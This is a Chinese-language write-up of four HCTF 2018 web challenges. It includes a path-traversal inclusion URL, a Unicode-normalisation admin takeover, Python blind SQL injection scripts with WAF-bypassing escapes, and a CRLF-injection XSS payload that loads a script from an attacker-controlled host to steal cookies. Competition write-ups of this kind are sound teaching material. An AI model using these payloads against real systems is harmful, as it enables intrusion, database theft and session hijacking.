前言
Warmup
属于签到题吧,毕竟做出来的那么多。。。。
打开F12就会看到:<!--source.php-->
以及hint
和link
:http://warmup.2018.hctf.io/index.php?file=hint.php:
flag not here, and flag in ffffllllaaaagggg
直接访问http://warmup.2018.hctf.io/source.php就可以拿到源码
<?php
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
首先学习一下:Getshell技巧详解–phpMyAdmin利用之法
发现上述源代码中只有:
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
才能够通过,但是发现截取会出现问题
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
随即构造:http://warmup.2018.hctf.io/?file=hint.php?/../../../../../../../../ffffllllaaaagggg
就会得到答案:hctf{e8a73a09cfdd1c9a11cca29b2bf9796f}
admin
在http://admin.2018.hctf.io/change的页面源码里发现提示
<!-- https://github.com/woadsl1234/hctf_flask/ -->
得到源码可以找到有个进程每30秒重置一次数据库
#! /bin/bash
# while loops
n=1
while ((1))
do
mysql -uroot -padsl1234 test < user.sql
sleep 30m
done
我们可以看一下这个模板的规则的源码:
#!/usr/bin/env python
# -*- coding:utf-8 -*-
from flask import Flask, render_template, url_for, flash, request, redirect, session, make_response
from flask_login import logout_user, LoginManager, current_user, login_user
from app import app, db
from config import Config
from app.models import User
from forms import RegisterForm, LoginForm, NewpasswordForm
from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep
from io import BytesIO
from code import get_verify_code
@app.route('/code')
def get_code():
image, code = get_verify_code()
# 图片以二进制形式写入
buf = BytesIO()
image.save(buf, 'jpeg')
buf_str = buf.getvalue()
# 把buf_str作为response返回前端,并设置首部字段
response = make_response(buf_str)
response.headers['Content-Type'] = 'image/gif'
# 将验证码字符串储存在session中
session['image'] = code
return response
@app.route('/')
@app.route('/index')
def index():
return render_template('index.html', title = 'hctf')
@app.route('/register', methods = ['GET', 'POST'])
def register():
if current_user.is_authenticated:
return redirect(url_for('index'))
form = RegisterForm()
if request.method == 'POST':
name = strlower(form.username.data)
if session.get('image').lower() != form.verify_code.data.lower():
flash('Wrong verify code.')
return render_template('register.html', title = 'register', form=form)
if User.query.filter_by(username = name).first():
flash('The username has been registered')
return redirect(url_for('register'))
user = User(username=name)
user.set_password(form.password.data)
db.session.add(user)
db.session.commit()
flash('register successful')
return redirect(url_for('login'))
return render_template('register.html', title = 'register', form = form)
@app.route('/login', methods = ['GET', 'POST'])
def login():
if current_user.is_authenticated:
return redirect(url_for('index'))
form = LoginForm()
if request.method == 'POST':
name = strlower(form.username.data)
session['name'] = name
user = User.query.filter_by(username=name).first()
if user is None or not user.check_password(form.password.data):
flash('Invalid username or password')
return redirect(url_for('login'))
login_user(user, remember=form.remember_me.data)
return redirect(url_for('index'))
return render_template('login.html', title = 'login', form = form)
@app.route('/logout')
def logout():
logout_user()
return redirect('/index')
@app.route('/change', methods = ['GET', 'POST'])
def change():
if not current_user.is_authenticated:
return redirect(url_for('login'))
form = NewpasswordForm()
if request.method == 'POST':
name = strlower(session['name'])
user = User.query.filter_by(username=name).first()
user.set_password(form.newpassword.data)
db.session.commit()
flash('change successful')
return redirect(url_for('index'))
return render_template('change.html', title = 'change', form = form)
@app.route('/edit', methods = ['GET', 'POST'])
def edit():
if request.method == 'POST':
flash('post successful')
return redirect(url_for('index'))
return render_template('edit.html', title = 'edit')
@app.errorhandler(404)
def page_not_found(error):
title = unicode(error)
message = error.description
return render_template('errors.html', title=title, message=message)
def strlower(username):
username = nodeprep.prepare(username)
return username
看到strlower函数很奇怪
def strlower(username):
username = nodeprep.prepare(username)
return username
网上还有一篇文章关于:Unicode安全
简单的说明一下其过程思想:
注册一个ᴬdmin账号
登陆ᴬdmin,发现页面显示Admin
修改密码,退出登录
重新登陆Admin,看到flag
kzone
然而打开得到的却是QQ空间的链接,第一次遇到这种情况慢慢分析,这应该是一个qq空间钓鱼网站,使用御剑扫描一下就会得到
逐个打开就会看到有信息的链接:http://kzone.2018.hctf.io/admin/login.php
以及一个可以下载源代码的链接:http://kzone.2018.hctf.io/www.zip
对这两个登陆页面的源码2018.php和login.php进行审计。 都包含了./include/common.php这个文件
<?php
error_reporting(0);
header('Content-Type: text/html; charset=UTF-8');
define('IN_CRONLITE', true);
define('ROOT', dirname(__FILE__).'/');
define('LOGIN_KEY', 'abchdbb768526');
date_default_timezone_set("PRC");
$date = date("Y-m-d H:i:s");
session_start();
include ROOT.'../config.php';
if(!isset($port))$port='3306';
include_once(ROOT."db.class.php");
$DB=new DB($host,$user,$pwd,$dbname,$port);
$password_hash='!@#%!s!';
require_once "safe.php";
require_once ROOT."function.php";
require_once ROOT."member.php";
require_once ROOT."os.php";
require_once ROOT."kill.intercept.php";
?>
里面的safe.php会对请求的get,post,cookie进行过滤。
<?php
function waf($string)
{
$blacklist = '/union|ascii|mid|left|greatest|least|substr|sleep|or|benchmark|like|regexp|if|=|-|<|>|\#|\s/i';
return preg_replace_callback($blacklist, function ($match) {
return '@' . $match[0] . '@';
}, $string);
}
并且username
和password
都经过了addslashes
函数转义,不存在宽字节注入,无法逃逸掉单引号。 提示member.php
中json
反序列化存在注入点
<?php
...
if (isset($_COOKIE["islogin"])) {
if ($_COOKIE["login_data"]) {
$login_data = json_decode($_COOKIE['login_data'], true);
$admin_user = $login_data['admin_user'];
$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
if ($udata['username'] == '') {
setcookie("islogin", "", time() - 604800);
setcookie("login_data", "", time() - 604800);
}
$admin_pass = sha1($udata['password'] . LOGIN_KEY);
if ($admin_pass == $login_data['admin_pass']) {
$islogin = 1;
} else {
setcookie("islogin", "", time() - 604800);
setcookie("login_data", "", time() - 604800);
}
}
}
?>
但是进入member.php
的前提是IN_CRONLITE=1
,所以要通过common.php
进入member.php
,
但是common.php
里面把get
,post
,cookie
的内容给waf了。 但是我发现这里存在弱类型比较
$admin_pass = sha1($udata['password'] . LOGIN_KEY);
if ($admin_pass == $login_data['admin_pass']) {
$islogin = 1;
}
password
是从$udata
中获取的,不需要已知。尝试构造login_data={“admin_user”:”admin”,”admin_pass”:1}
,
对1所在的位置进行爆破,当admin_pass=65
时,可以绕过,但是并不能登陆进去,可能是没有写入cookie
,因此放弃了这个思路。
所以只能从绕waf
入手了,大师傅提示jsondecode
会解编码
参考:http://blog.sina.com.cn/s/blog_1574497330102wruv.html
这里的cookie
参数是先经过waf
后被json
解码的,因此可以用js
编码绕过waf
,对cookie
中的admin_user
进行注入发现可以注入。
这里踩了个坑,python3会对unicode编码自动解码,需要转义一下,python2不需要。
# -*- coding: utf-8 -*-
import requests
import string
url = 'http://kzone.2018.hctf.io/include/common.php'
str1 = string.ascii_letters+string.digits+'{}!@#$*&_,'
def check(payload):
cookie={
'PHPSESSID':'8ehnp28ccr4ueh3gnfc3uqtau1',
'islogin':'1',
'login_data':payload
}
try:
requests.get(url,cookies=cookie,timeout=3)
return 0
except:
return 1
result=''
for i in range(1,33):
for j in str1:
#payload='{"admin_user":"admin\'and/**/\\u0069f(\\u0073ubstr((select/**/table_name/**/from/**/inf\\u006Frmation_schema.tables/**/where/**/table_schema\\u003Ddatabase()/**/limit/**/0,1),%d,1)\\u003D\'%s\',\\u0073leep(3),0)/**/and/**/\'1","admin_pass":65}'%(i,j)
payload = '{"admin_user":"admin\'/**/and/**/\\u0069f(\\u0061scii(\\u0073ubstr((select/**/F1a9/**/from/**/F1444g),%s,1))\\u003d%s,\\u0073leep(4),1)/**/and/**/\'1","admin_pass":"123"}'% (str(i),ord(j))
#print('[+]'+payload)
if check(payload):
result += j
break
print(result)
或者使用代码:
import requests
dic = list('1234567890abcdefghijklmnopqrstuvwxyz[]<>@!-~?=_()*{}#. /')
ans = ''
for pos in range(1,1000):
flag = 1
for c in dic:
payload = "admin'and(strcmp(right((select/**/*/**/from/**/F1444g/**/limit/**/0,1),%d),'%s'))||'"%(pos,c+ans)
cookies = {'islogin':'1','PHPSESSID':'olvurpb8sqldthvnetdd0elf65','login_data':'{"admin_user":"%s","admin_pass":65}'%payload}
resp = requests.get("http://kzone.2018.hctf.io/include/common.php",cookies=cookies)
if 'Set-Cookie' in resp.headers:
ans = c+ans
print(ord(c))
flag=0
break
if flag:
break
print("--"+ans+"--")
bottle
参考P牛写的:Bottle HTTP 头注入漏洞探究
首先在注册和登陆处发现CLRF 第一天的响应包
第二天的响应包
刚开始的时候,CSP是在响应包的上面的,需要想办法绕过CSP
。最后大师傅告诉我那个hint1
不是机器人访问的crontab,
是bottle
这个框架重启的crontab
。bottle
这个框架好像有一个特性,每次重启的时候可以bypass
掉CSP
。
但是出题人好像第二天发现这个bypass
思路自己都复现不了,所以就把CSP设置到响应包下面了。 接下来就简单了,
只需要绕过302跳转就可以打到cookie
。因为302的时候不会xss
。利用<80端口可以绕过302跳转。可以在浏览器手动试一下。 80端口的时候
22 端口的时候,这个时候手动访问可以看到打到了cookie。
所以拿着下面这个payload就可以打到cookie了。
http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:20/%0d%0aContent-Length:%2065%0d%0a%0d%0a%3Cscript%20src=http://yourvps/myjs/cookie.js%3E%3C/script%3E
改cookie登陆
总结
不会的还是有很多呀,题目虽然很难但是可以学到很多知识,加油!!!!!